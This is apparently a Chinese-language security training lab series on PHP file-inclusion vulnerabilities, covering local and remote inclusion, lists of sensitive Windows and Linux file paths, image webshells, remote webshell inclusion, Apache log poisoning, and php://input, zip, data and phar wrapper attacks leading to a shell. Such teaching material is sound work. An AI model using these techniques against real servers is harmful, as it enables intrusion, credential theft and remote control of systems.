文件包含分类

实验目的

通过本实验,掌握PHP文件包含的分类。

实验环境

实验原理

文件包含漏洞可以分为LFI(Local File Inclusion,本地文件包含)和RFI(Remote File
Inclusion,远程文件包含)两种。而区分二者最简单的办法就是通过查看php.ini中是否开启了allow_url_include。如果开启就有可能包含远程文件。
远程文件包含需要php.ini中allow_url_include=on,allow_url_fopen = On。在php.ini中,allow_url_fopen默认一直是On,而allow_url_include从php5.2之后就默认为Off。
image.png

实验步骤

本地包含

1、登录操作机,打开浏览器,在浏览器中访问http://ip/include/02/1.php?a=hello.txt,包含服务器本地当前目录下的文件
image.png

2、在浏览器中访问http://ip/include/02/1.php?a=…/include.php,包含服务器本地上一级目录的文件
image.png

3、在浏览器中访问http://ip/include/02/1.php?a=…/01/1.jpg,包含服务器本地其他目录的文件,进行目录遍历
image.png

远程包含

1、打开”phpStudy”,启动操作机的Apache服务
image.png

2、在操作机的Web根目录下新建include.php
image.png

3、在浏览器中访问http://靶机ip/include/02/1.php?a=http://操作机ip/include.php
image.png

实验总结

通过本实验,掌握文件包含的分类。
文件包含分为包含和远程包含。本地包含是包含目标服务器本地的文件,可以包含同目录下的文件:?file=test.txt;也可以进行目录遍历来读取文件:?file=./…/…/test.txt。其中./是当前目录,…/是上一级目录。远程包含是包含远程服务器上的文件,?file=http://www.test.com/shell.txt(常见的有三种,http、https、ftp)。

文件包含漏洞利用之读取敏感文件信息

实验目的

通过本实验,利用PHP文件包含漏洞读取敏感文件信息。

实验环境

实验原理

利用文件包含漏洞可以包含一些操作系统的敏感文件,从而读取重要信息。
Windows系统敏感信息:

1
2
3
4
5
6
C:\boot.ini                                  //查看系统版本
C:\windows\system32\inetsrv\MetaBase.xml //IIS配置文件
C:\windows\repair\sam //windows初次安装的密码
C:\program Files\mysql\my.ini //Mysql配置信息
C:\program Files\mysql\data\mysql\user.MYD //Mysql root C:\windows\php.ini //php配置信息
......

Linux系统敏感信息:

1
2
3
4
5
6
/etc/passwd                                       //linux用户信息
/usr/local/app/apache2/conf/httpd.conf //apache2配置文件
/usr/local/app/php5/lib/php.ini //php配置文件
/etc/httpd/conf/httpd.conf //apache配置文件
/etc/my.cnf //Mysql配置文件
......

实验步骤

1、登录操作机,打开浏览器,在浏览器中访问http://ip/include/include.php
image.png

2、在浏览器中访问http://ip/include/include.php?page=xxx.php,包含不存在的文件,使其报错,获取服务器的Web根目录、当前网页的路径、Web服务器等信息
image.png

3、在浏览器中访问http://ip/include/include.php?page=C:\server\apache22\conf\httpd.conf,包含Apache配置文件获取信息
image.png

4、在浏览器中访问http://ip/include/include.php?page=C:\server\apache22\logs\access.log,包含Apache的访问日志获取信息
image.png

5、在浏览器中访问http://ip/include/include.php?page=C:\server\apache22\logs\error.log,包含Apache的错误日志获取信息
image.png

6、在浏览器中访问http://ip/include/include.php?page=C:\Windows\system32\drivers\etc\hosts,包含hosts文件获取信息
image.png

7、在浏览器中访问http://ip/include/include.php?page=C:\Windows\win.ini,包含Windows系统的基本系统配置文件获取信息
image.png

实验总结

通过本实验,掌握利用文件包含可以获取很多敏感信息,包含不存在的文件可以获取Web服务器、Web根目录、网站路径以及服务器的操作系统信息,根据Web服务器和Web根目录可以获取Apache的配置文件信息和日志文件信息,同时在知道服务器的操作系统后,也可以包含一些操作系统的敏感文件获取相关信息。利用文件包含获取敏感文件就是需要尽可能多的收集敏感文件的路径。

文件包含漏洞利用之本地包含配合文件上传包含图片马

实验目的

通过本实验,通过文件上传漏洞上传图片马,图片马不能解析,利用PHP文件包含漏洞解析图片马。

实验环境

实验原理

文件上传漏洞在绕过内容检测的时候,会制作图片马上传,但是图片马在上传之后,又不能解析。如果网站同时存在文件包含漏洞,利用文件包含无视后缀名,只要被包含的文件内容符合PHP语法规范,任何扩展名都可以被PHP解析的特点来解析上传的图片马。
制作图片马的方式有很多,常见的有两种:

  • 在图片后写入脚本代码
  • 在cmd中使用命令 copy 1.jpg/b+1.php/a 2.jpg
1
2
参数/b指定以二进制格式复制、合并文件,用于图像类/声音类文件
参数/a指定以ASCII格式复制、合并文件,用于txt等文档类文件

实验步骤

1、在操作机上准备要上传的文件(脚本文件),比如新建1.php文件
image.png

2、再准备一张正常的图片(网上下载就可以),打开cmd命令框,制作图片马
image.png

3、登录操作机,打开浏览器,在浏览器中访问http://ip/up/up.html
image.png

4、点击“选择文件”按钮,选中制作好的图片木马文件
image.png

5、点击“submit”按钮,上传图片马文件,脚本文件成功上传
image.png

6、访问http://ip/up/upload/info.jpg,上传的脚本文件不能解析,因为图片马需要配合文件包含漏洞或者解析漏洞
image.png

7、访问http://ip/include/include.php?page=../up/upload/info.jpg,包含图片马,图片马成功解析
image.png

实验总结

通过本实验,掌握文件上传+文件包含的组合漏洞,在绕过上传的检测时可以制作图片马上传,图片马上传成功不能直接解析,可以利用文件包含的特点进行解析图片马。

文件包含漏洞利用之远程包含Webshell

实验目的

通过本实验,通过远程文件包含漏洞包含远程Webshell,从而Getshell。

实验环境

实验原理

本地包含只能包含目标服务器本地已有的文件,若目标服务器本地不存在木马文件,则无法利用。因此可以借助远程文件包含漏洞,在操作机本地搭建Web服务器,远程包含木马文件Getshell。

实验步骤

1、登录操作机,打开浏览器,在浏览器中访问http://ip/include/include.php
image.png

2、打开”phpStudy”,启动操作机的Apache服务
image.png

3、在操作机的Web根目录下新建shell.txt文件
image.png

4、在浏览器中访问http://目标机ip/include.php?page=http://操作机ip/shell.txt,并发送post数据测试一句话木马可以解析
image.png
image.png

5、打开桌面tools文件夹的“中国菜刀(过狗)”,双击exe文件
image.png

6、在空白处鼠标右击,点击“添加”,添加shell地址

  • 地址为:一句话木马地址和连接密码
  • 脚本类型:PHP
    image.png

7、点击“添加”,双击一句话木马地址
image.png

实验总结

通过本实验,掌握在无其他漏洞,只有文件包含漏洞,且目标服务器本地无shell文件可利用,又可以远程文件包含时,可以在攻击机本地新建一个一句话木马文件(比如:shell.txt,不要以.php的文件存在,因为php文件在操作机本地会被解析),然后远程包含攻击机本地新建的木马文件,从而Getshell。

文件包含漏洞利用之包含Apache日志文件Getshell

实验目的

通过本实验,访问目标网站,在Apache的访问日志中产生记录,利用文件包含漏洞包含日志文件,从而Getshell。

实验环境

实验原理

Apache有两个日志文件:访问日志文件access.log和错误日志文件error.log。在请求访问网站时,web服务器会将请求写入到日志文件中。比如说Apache服务器,在用户发起请求时,会将请求写入access.log,当发生错误时将错误写入error.log。
当网站只存在文件包含漏洞,但是无Webshell文件可以包含时,也没有上传漏洞,可以发送请求,记录到日志文件中,再包含日志文件Getshell。
日志默认路径:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
Apache:
Apache + Linux日志默认路径
/etc/httpd/logs/access_log 或 /var/log/httpd/access log

Apache + Windows日志默认路径
XAMPP套件:xampp\apache\logs/access.log
phpStudy套件:phpStudy\Apache\logs/access.log

IIS:
IIS6 默认日志文件位置
C:WINDOWS\system32\Logfiles

IIS7 默认日志文件位置
%SystemDrive%\inetpub\logs\LogFiles

Nginx:
nginx日志文件在用户安装目录的logs目录下
如安装目录为/usr/local/nginx,则日志目录就是在/usr/local/nginx/logs里
也可通过其配置文件nginx.conf,获取到日志的存在路径(/opt/nginx/logs/access.log)

实验步骤

1、登录操作机,打开浏览器,在浏览器中访问http://ip/include/include.php
image.png

2、访问http://ip/include/include.php?page=xxx.php,包含不存在的文件,使其报错,获取服务器的Web根目录、当前网页的路径、Web服务器等信息,猜测Web服务器的日志文件
image.png

3、访问http://ip/include/include.php?page=C:\server\apache22\logs\access.log,包含Apache访问日志文件,成功找到Apache访问日志文件
image.png

4、访问http://ip/include/,将请求记录到Apache访问日志中
image.png

5、访问http://ip/include/include.php?page=C:\server\apache22\logs\access.log,包含Apache日志文件,日志文件记录成功,但是没有解析成功
image.png

6、打开桌面的的“Burp”文件夹,双击“BURP.cmd”启动Burp Suite抓包工具
image.png

7、切换到“Proxy”代理模块的“Options”,查看Bp的代理
image.png

8、切换到浏览器,选择火狐插件中的代理(配置浏览器的的代理),与Bp的代理一致
image.png

9、访问http://ip/include/,Bp成功抓取数据包
image.png

10、将数据包中的编码格式去掉,将其变成正常的脚本代码
image.png

11、点击“Forward”,转发数据包,切换到浏览器,将请求中的代码再次添加到Apache访问日志记录中
image.png

12、关闭浏览器代理

image.png

13、访问http://ip/include/include.php?page=C:\server\apache22\logs\access.log,包含Apache日志文件,解析成功
image.png

实验总结

通过本实验,掌握在无其他漏洞,只有文件包含漏洞,且目标服务器本地既无shell文件可利用,也没有远程文件包含时,可以在请求中添加脚本代码和一句话木马代码,再利用Burp Suite抓包将数据包中的编码去掉,再包含日志文件,从而Getshell。

PHP封装伪协议之php流input

实验目的

通过本实验,通过文件包含漏洞,利用PHP封装伪协议,发送POST数据进行命令执行。

实验环境

实验原理

PHP有很多内置URL风格的封装协议,这类协议与fopen(),copy(),file_exists(),filesize()等文件系统函数所提供的功能类似。
这类协议有:
image.png
利用php流input中流的概念,将原来的文件流重定向到了用户可控的输入流中执行命令。

实验步骤

1、登录操作机,打开浏览器,在浏览器中访问http://ip/include/include.php
image.png

2、访问http://ip/include/include.php?page=php://input
image.png

3、勾选”Post data”,在提交post数据的位置输入”“,并发送数据执行
image.png

4、发送”“数据执行系统命令
image.png

5、发送”“数据执行系统命令
image.png

6、发送”’);?>”数据执行,生成shell脚本文件
image.png

7、访问http://ip/include/include.php?page=shell.php
image.png

实验总结

通过本实验,利用PHP封装伪协议中的php流input,发送POST数据(可利用火狐的插件,也可以利用Burp Suite抓包修改数据包)进行命令执行,可以执行操作系统命令,也可以在服务器端生成木马文件,用Webshell管理工具连接木马文件。
对伪协议的用法总结如下:
image.png

PHP封装伪协议之zip流

实验目的

通过本实验,借助文件包含漏洞,利用PHP封装伪协议的zip流将脚本文件zip压缩,用来绕过文件上传的检测,再进行包含解析。

实验环境

实验原理

PHP有很多内置URL风格的封装协议,这类协议与fopen(),copy(),file_exists(),filesize()等文件系统函数所提供的功能类似。
这类协议有:
image.png
利用zip流,先将将要执行的PHP代码写好文件名为test.txt,将test.txt进行zip压缩,压缩文件名为test.zip,上传文件绕过上传检测,再进行包含解析。

实验步骤

1、新建info.txt文件
image.png

2、对info.txt文件进行zip压缩
image.png
image.png

3、登录操作机,打开浏览器,在浏览器中访问http://ip/up/up.html
image.png

4、点击“选择文件”按钮,选中要上传的文件
image.png

5、点击“submit”按钮,上传info.zip文件
image.png

6、访问http://ip/include/include.php
image.png

7、访问http://ip/include/include.php?page=xxx.php,包含不存在的文件,使其报错,获取服务器的Web根目录、当前网页的路径、Web服务器等信息,从而得到上传脚本的绝对路径
image.png

8、访问http://ip/include/include.php?page=zip://C:/server/apache22/htdocs/up/upload/info.zip%23info.txt
image.png

实验总结

通过本实验,利用PHP封装伪协议中的zip流,先将要执行的PHP代码写好文件名为test.txt,将test.txt进行zip压缩,压缩文件名为test.zip,绕过文件上传的限制,如果可以上传zip文件便直接上传,若不能便将test.zip重命名为test.jpg后再上传。使用zip协议需要指定绝对路径,使用相对路径会包含失败;同时将#编码为%23。
对伪协议的用法总结如下:
image.png

PHP封装伪协议之data流

实验目的

通过本实验,利用PHP封装伪协议中的data流进行命令执行。

实验环境

实验原理

PHP有很多内置URL风格的封装协议,这类协议与fopen(),copy(),file_exists(),filesize()等文件系统函数所提供的功能类似。
这类协议有:
image.png
利用PHP封装伪协议中data数据流,通过文件包含漏洞进行命令执行。

实验步骤

1、登录操作机,打开浏览器,在浏览器中访问http://ip/include/include.php
image.png

2、访问http://ip/include/include.php?page=data://text/plain,,代码执行
image.png

3、也可以:将代码进行base64编码,访问http://ip/include/include.php?page=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
image.png

4、访问http://ip/include/include.php?page=data://text/plain,,系统命令执行
image.png

5、访问http://ip/include/include.php?page=data://text/plain,,执行一句话木马
image.png

6、打开桌面tools文件夹的“中国菜刀(过狗)”,双击exe文件
image.png

7、在空白处鼠标右击,点击“添加”,添加shell地址

  • 地址为:一句话木马地址和连接密码
  • 脚本类型:PHP
    image.png

8、点击“添加”,双击一句话木马地址
image.png

实验总结

通过本实验,利用PHP封装伪协议中的data流,进行代码执行和系统命令执行,也可以对代码进行base64编码,同样可以执行一句话木马,从而Getshell。
对伪协议的用法总结如下:
image.png

PHP封装伪协议之phar流

实验目的

通过本实验,借助文件包含漏洞,利用PHP封装伪协议的zip流中绕过文件上传的检测,再进行包含解析。

实验环境

实验原理

PHP有很多内置URL风格的封装协议,这类协议与fopen(),copy(),file_exists(),filesize()等文件系统函数所提供的功能类似。
这类协议有:
image.png
利用phar流,先将将要执行的PHP代码写好文件名为test.txt,将test.txt进行zip压缩,压缩文件名为test.zip,上传文件绕过上传检测,再进行包含解析。

实验步骤

1、新建info.txt文件
image.png

2、对info.txt文件进行zip压缩
image.png
image.png

3、登录操作机,打开浏览器,在浏览器中访问http://ip/up/up.html
image.png

4、点击“选择文件”按钮,选中要上传的文件
image.png

5、点击“submit”按钮,上传info.zip文件
image.png

6、访问http://ip/include/include.php
image.png

7、访问http://ip/include/include.php?page=xxx.php,包含不存在的文件,使其报错,获取服务器的Web根目录、当前网页的路径、Web服务器等信息,从而得到上传脚本的绝对路径
image.png

8、访问http://ip/include/include.php?page=phar://C:/server/apache22/htdocs/up/upload/info.zip/info.txt或者http://ip/include/include.php?page=phar://…/up/upload/info.zip/info.txt
image.png
image.png

实验总结

通过本实验,利用PHP封装伪协议中的zip流,先将要执行的PHP代码写好文件名为test.txt,将test.txt进行zip压缩,压缩文件名为test.zip,绕过文件上传的限制,如果可以上传zip文件便直接上传,若不能便将test.zip重命名为test.jpg后再上传。使用phar流绝对路径和相对路径都可以。
对伪协议的用法总结如下:
image.png